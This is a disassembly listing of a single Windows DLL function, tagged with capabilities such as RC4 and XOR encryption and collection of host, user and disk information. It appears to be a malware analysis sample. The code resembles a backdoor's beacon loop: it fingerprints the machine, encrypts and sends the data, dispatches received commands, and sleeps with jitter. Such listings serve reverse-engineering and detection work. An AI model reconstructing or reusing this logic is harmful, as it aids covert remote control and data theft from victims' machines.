Function at 0x180004520
Capabilities:
Encode data using xor
Encrypt data using rc4 ksa
Get disk information
Get hostname
Get session user name

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x4f0]
sub rsp, 0x5f0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x4e0], rax
xor esi, esi
lea rcx, [0x18001e6c0]
mov dword [rsp + 0x70], esi
mov rdi, rdx
mov dword [rsp + 0x58], esi
call fcn.180006440
mov dword [rsp + 0x38], esi
lea r9, [rsp + 0x70]
mov qword [rsp + 0x30], rsi
xor r8d, r8d
mov qword [rsp + 0x28], rsi
xor edx, edx
mov rcx, rax
mov qword [rsp + 0x20], rsi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
test rbx, rbx
je 0x1800045bb
mov r8d, dword [rbx - 8]
lea rcx, [rbx - 8]
add r8, 8
xor edx, edx
call fcn.180008090
lea rcx, [rbx - 8]
call fcn.180005280
lea r8, [rsp + 0x7c]
mov dword [rsp + 0x7c], 0x100
lea rdx, [rbp + 0xd0]
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_GetComputerNameExW]
lea rdx, [rsp + 0x78]
mov dword [rsp + 0x78], 0x10
lea rcx, [rbp + 0xb0]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
lea rdx, [rsp + 0x74]
mov dword [rsp + 0x74], 0x101
lea rcx, [rbp + 0x2d0]
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
or rax, 0xffffffffffffffff
cmp word [rdi + rax*2 + 2], si
lea rax, [rax + 1]
jne 0x180004612
lea edx, [rax + rax]
or r8d, 0xffffffff
mov rcx, rdi
call fcn.180001e30
mov edx, dword [rsp + 0x74]
lea rcx, [rbp + 0x2d0]
mov r15d, eax
add edx, edx
xor r15d, dword [rsp + 0x70]
or r8d, 0xffffffff
mov dword [rsp + 0x60], r15d
call fcn.180001e30
mov edx, dword [rsp + 0x78]
lea rcx, [rbp + 0xb0]
add edx, edx
or r8d, 0xffffffff
mov r13d, eax
call fcn.180001e30
xor r13d, eax
lea rcx, [rbp - 0x70]
mov dword [rsp + 0x64], r13d
call fcn.1800052b0
lea rcx, [0x180022940]
call fcn.1800062d0
mov qword [rsp + 0x38], rsi
lea r8, [rbp + 0xd0]
mov qword [rsp + 0x30], rsi
or r9d, 0xffffffff
mov dword [rsp + 0x28], esi
xor edx, edx
mov ecx, 0xfde9
mov qword [rsp + 0x20], rsi
mov r14, rax
mov qword [rbp - 0x78], rsi
mov r12, rsi
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movsxd rbx, eax
test eax, eax
je 0x180004d33
mov rcx, rbx
call fcn.180005210
mov rdi, rax
test rax, rax
je 0x180004d33
mov qword [rsp + 0x38], rsi
lea r8, [rbp + 0xd0]
mov qword [rsp + 0x30], rsi
or r9d, 0xffffffff
mov dword [rsp + 0x28], ebx
xor edx, edx
mov ecx, 0xfde9
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov qword [rsp + 0x38], rsi
lea r8, [rbp + 0xb0]
mov qword [rsp + 0x30], rsi
or r9d, 0xffffffff
mov dword [rsp + 0x28], esi
xor edx, edx
mov ecx, 0xfde9
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movsxd rbx, eax
test eax, eax
je 0x1800048b5
mov rcx, rbx
call fcn.180005210
mov rsi, rax
test rax, rax
je 0x1800048b5
mov qword [rsp + 0x38], r12
lea r8, [rbp + 0xb0]
mov qword [rsp + 0x30], r12
or r9d, 0xffffffff
mov dword [rsp + 0x28], ebx
xor edx, edx
mov ecx, 0xfde9
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
lea rcx, [rbp + 0x2d0]
call fcn.1800025f0
mov r12, rax
test rax, rax
je 0x1800048a9
mov ecx, 0x800
call fcn.180005210
mov rbx, rax
test rax, rax
je 0x1800048a1
mov ecx, dword [rbp - 0x70]
or r8, 0xffffffffffffffff
mov dword [rax + 0x10], ecx
mov ecx, dword [rbp - 0x6c]
mov dword [rax + 0x14], ecx
mov ecx, dword [rbp - 0x68]
mov dword [rax + 0x18], ecx
mov ecx, dword [rbp - 0x64]
mov dword [rax + 0x1c], ecx
mov dword [rax + 4], r15d
mov dword [rax + 8], r13d
mov dword [rax + 0xc], 1
inc r8
cmp byte [rdi + r8], 0
jne 0x1800047d2
lea rcx, [rax + 0x38]
mov rdx, rdi
call fcn.1800011e0
mov dword [rbx + 0x20], gethostname
mov dword [rbx + 0x24], eax
lea r15d, [rax + 3]
and r15d, 0xfffffffc
add r15d, 0x38
or r8, 0xffffffffffffffff
inc r8
cmp byte [rsi + r8], 0
jne 0x180004802
mov ecx, r15d
mov rdx, rsi
add rcx, rbx
call fcn.1800011e0
mov dword [rbx + 0x2c], eax
add eax, 3
and eax, 0xfffffffc
mov dword [rbx + 0x28], r15d
add r15d, eax
or r8, 0xffffffffffffffff
nop
inc r8
cmp byte [r12 + r8], 0
jne 0x180004830
mov ecx, r15d
mov rdx, r12
add rcx, rbx
call fcn.1800011e0
xor r8d, r8d
mov dword [rbx + 0x30], r15d
lea rcx, [rbx + 4]
mov dword [rbx + 0x34], eax
lea r13d, [rax + 3]
and r13d, 0xfffffffc
add r13d, r15d
lea edx, [r13 - 4]
call fcn.180001e30
mov dword [rbx], eax
or r8, 0xffffffffffffffff
inc r8
cmp byte [r14 + r8], 0
jne 0x180004870
mov rdx, r14
lea rcx, [rbp - 0x60]
call fcn.1800056a0
mov r9d, r13d
lea rcx, [rbp - 0x60]
mov r8, rbx
mov rdx, rbx
call fcn.180005740
mov qword [rbp - 0x78], rbx
mov dword [rsp + 0x50], r13d
mov rcx, r12
call fcn.180005280
mov rcx, rsi
call fcn.180005280
mov r12, qword [rbp - 0x78]
mov rcx, rdi
call fcn.180005280
test r12, r12
je 0x180004d33
mov edx, dword [rsp + 0x50]
mov rcx, r12
call fcn.1800027c0
mov qword [rsp + 0x68], rax
mov rsi, rax
test rax, rax
je 0x180004d2b
mov r15d, dword [rsp + 0x58]
nop dword [rax + rax]
lea rcx, [0x1800229c0]
call fcn.180006440
lea rcx, [0x180022980]
mov r12, rax
call fcn.180006440
movzx r8d, word [0x1800229b4]
mov r13, rax
lea rax, [rbp - 0x80]
mov rdx, r13
mov qword [rsp + 0x40], rax
mov rcx, r12
xor eax, eax
mov dword [rsp + 0x38], eax
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rsi
lea r9d, [rax + 1]
call fcn.180002010
mov qword [rbp - 0x70], rax
mov rdi, rax
test rax, rax
je 0x180004cba
mov ebx, dword [rbp - 0x80]
cmp ebx, 4
jbe 0x180004cba
or r9, 0xffffffffffffffff
nop
inc r9
cmp byte [r14 + r9], 0
jne 0x180004960
mov word [rbp - 0x60], 0
xor eax, eax
nop dword [rax]
nop word [rax + rax]
mov byte [rbp + rax - 0x5e], al
inc rax
cmp rax, 0x100
jb 0x180004980
xor r11b, r11b
xor r10d, r10d
nop word [rax + rax]
movzx r8d, byte [rbp + r10 - 0x5e]
lea rcx, [rbp - 0x5e]
xor edx, edx
mov rax, r10
div r9
movzx eax, byte [rdx + r14]
add al, r8b
add r11b, al
movzx eax, r11b
add rcx, rax
movzx eax, byte [rcx]
mov byte [rbp + r10 - 0x5e], al
inc r10
mov byte [rcx], r8b
cmp r10, 0x100
jb 0x1800049a0
mov r10, rbx
test ebx, ebx
je 0x180004a47
movzx edx, byte [rbp - 0x5f]
mov r9, rdi
movzx r8d, byte [rbp - 0x60]
nop
inc r8b
lea r9, [r9 + 1]
mov byte [rbp - 0x60], r8b
movzx eax, r8b
lea r8, [rbp - 0x5e]
add r8, rax
add dl, byte [r8]
mov byte [rbp - 0x5f], dl
movzx ecx, byte [r8]
movzx eax, dl
lea rdx, [rbp - 0x5e]
add rdx, rax
movzx eax, byte [rdx]
mov byte [r8], al
mov byte [rdx], cl
movzx edx, byte [rbp - 0x5f]
movzx r8d, byte [rbp - 0x60]
movzx ecx, byte [rbp + rdx - 0x5e]
add cl, byte [rbp + r8 - 0x5e]
movzx eax, cl
movzx ecx, byte [rbp + rax - 0x5e]
xor byte [r9 - 1], cl
sub r10, 1
jne 0x1800049f0
lea r11, [rdi + 4]
xor r8d, r8d
mov rcx, r11
lea edx, [rbx - 4]
call fcn.180001e30
cmp eax, dword [rdi]
jne 0x180004cb2
mov eax, dword [r11]
lea rbx, [rdi + 8]
test eax, eax
je 0x180004cb2
lea rdi, [rbx + 0x10]
mov esi, eax
nop word [rax + rax]
mov eax, dword [rbx]
dec eax
cmp eax, 9
ja case.0x180004a9e.7
lea rdx, [0x180000000]
mov ecx, dword [rdx + rax*4 + 0x4d84]
add rcx, rdx
jmp rcx
mov edx, dword [rbx + 4]
lea rax, [rsp + 0x50]
mov r8, r14
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x60]
call fcn.180002870
mov r15, rax
test rax, rax
je 0x180004c92
mov ecx, dword [rsp + 0x50]
lea rax, [rsp + 0x54]
movzx r8d, word [0x1800229b4]
mov r9d, 2
mov qword [rsp + 0x40], rax
mov rdx, r13
mov rax, qword [rsp + 0x68]
mov dword [rsp + 0x38], ecx
mov rcx, r12
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x28], rax
call fcn.180002010
test rax, rax
je 0x180004b0d
mov rcx, rax
call fcn.180005280
mov rcx, r15
call fcn.180005280
jmp 0x180004c92
mov edx, dword [rbx + 4]
lea rax, [rsp + 0x50]
mov r8, r14
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x60]
call fcn.180002cf0
jmp 0x180004aba
mov edx, dword [rbx + 4]
lea rax, [rsp + 0x50]
mov r8, r14
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x60]
call fcn.1800034b0
jmp 0x180004aba
mov edx, dword [rbx + 4]
lea rax, [rsp + 0x50]
mov r9, r14
mov qword [rsp + 0x28], rax
mov r8, rdi
lea rcx, [rsp + 0x60]
call fcn.180003f50
mov r15, rax
test rax, rax
je 0x180004bc9
mov ecx, dword [rsp + 0x50]
lea rax, [rsp + 0x54]
movzx r8d, word [0x1800229b4]
mov r9d, 2
mov qword [rsp + 0x40], rax
mov rdx, r13
mov rax, qword [rsp + 0x68]
mov dword [rsp + 0x38], ecx
mov rcx, r12
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x28], rax
call fcn.180002010
test rax, rax
je 0x180004bc1
mov rcx, rax
call fcn.180005280
mov rcx, r15
call fcn.180005280
add rbx, 0x10
add rdi, 0x10
jmp case.0x180004a9e.7
mov r9d, dword [rdi]
lea rax, [rsp + 0x50]
mov edx, dword [rbx + 4]
lea r8, [rbx + 0x18]
mov qword [rsp + 0x38], rax
lea rcx, [rsp + 0x60]
mov eax, dword [rbx + 0x14]
add r9, 0xfffffffffffffff8
add r9, rbx
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], eax
call fcn.180003750
mov r15, rax
test rax, rax
je 0x180004bc9
mov ecx, dword [rsp + 0x50]
lea rax, [rsp + 0x54]
movzx r8d, word [0x1800229b4]
mov r9d, 2
mov qword [rsp + 0x40], rax
mov rdx, r13
mov rax, qword [rsp + 0x68]
mov dword [rsp + 0x38], ecx
mov rcx, r12
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x28], rax
call fcn.180002010
test rax, rax
je 0x180004c56
mov rcx, rax
call fcn.180005280
mov rcx, r15
call fcn.180005280
add rbx, 0x10
add rdi, 0x10
jmp case.0x180004a9e.7
mov edx, dword [rbx + 4]
lea rax, [rsp + 0x50]
mov r9, r14
mov qword [rsp + 0x28], rax
mov r8, rdi
lea rcx, [rsp + 0x60]
call fcn.180003ac0
jmp 0x180004aba
mov dword [rsp + 0x58], 1
add rbx, 8
add rdi, 8
sub rsi, 1
jne 0x180004a80
mov rdi, qword [rbp - 0x70]
mov rsi, qword [rsp + 0x68]
mov r15d, dword [rsp + 0x58]
mov rcx, rdi
call fcn.180005280
test r13, r13
je 0x180004cdb
mov r8d, dword [r13 - 8]
lea rcx, [r13 - 8]
add r8, 8
xor edx, edx
call fcn.180008090
lea rcx, [r13 - 8]
call fcn.180005280
test r12, r12
je 0x180004cff
mov r8d, dword [r12 - 8]
lea rcx, [r12 - 8]
add r8, 8
xor edx, edx
call fcn.180008090
lea rcx, [r12 - 8]
call fcn.180005280
call qword [sym.imp.KERNEL32.dll_GetTickCount]
and eax, 0xfff
lea ecx, [rax + 0xbb8]
call qword [sym.imp.KERNEL32.dll_Sleep]
test r15d, r15d
je 0x1800048f0
mov rcx, rsi
call fcn.180005280
mov r12, qword [rbp - 0x78]
mov rcx, r12
call fcn.180005280
test r14, r14
je 0x180004d54
mov r8d, dword [r14 - 8]
lea rcx, [r14 - 8]
add r8, 8
xor edx, edx
call fcn.180008090
lea rcx, [r14 - 8]
call fcn.180005280
mov rcx, qword [rbp + 0x4e0]
xor rcx, rsp
call fcn.180006c40
lea r11, [rsp + 0x5f0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret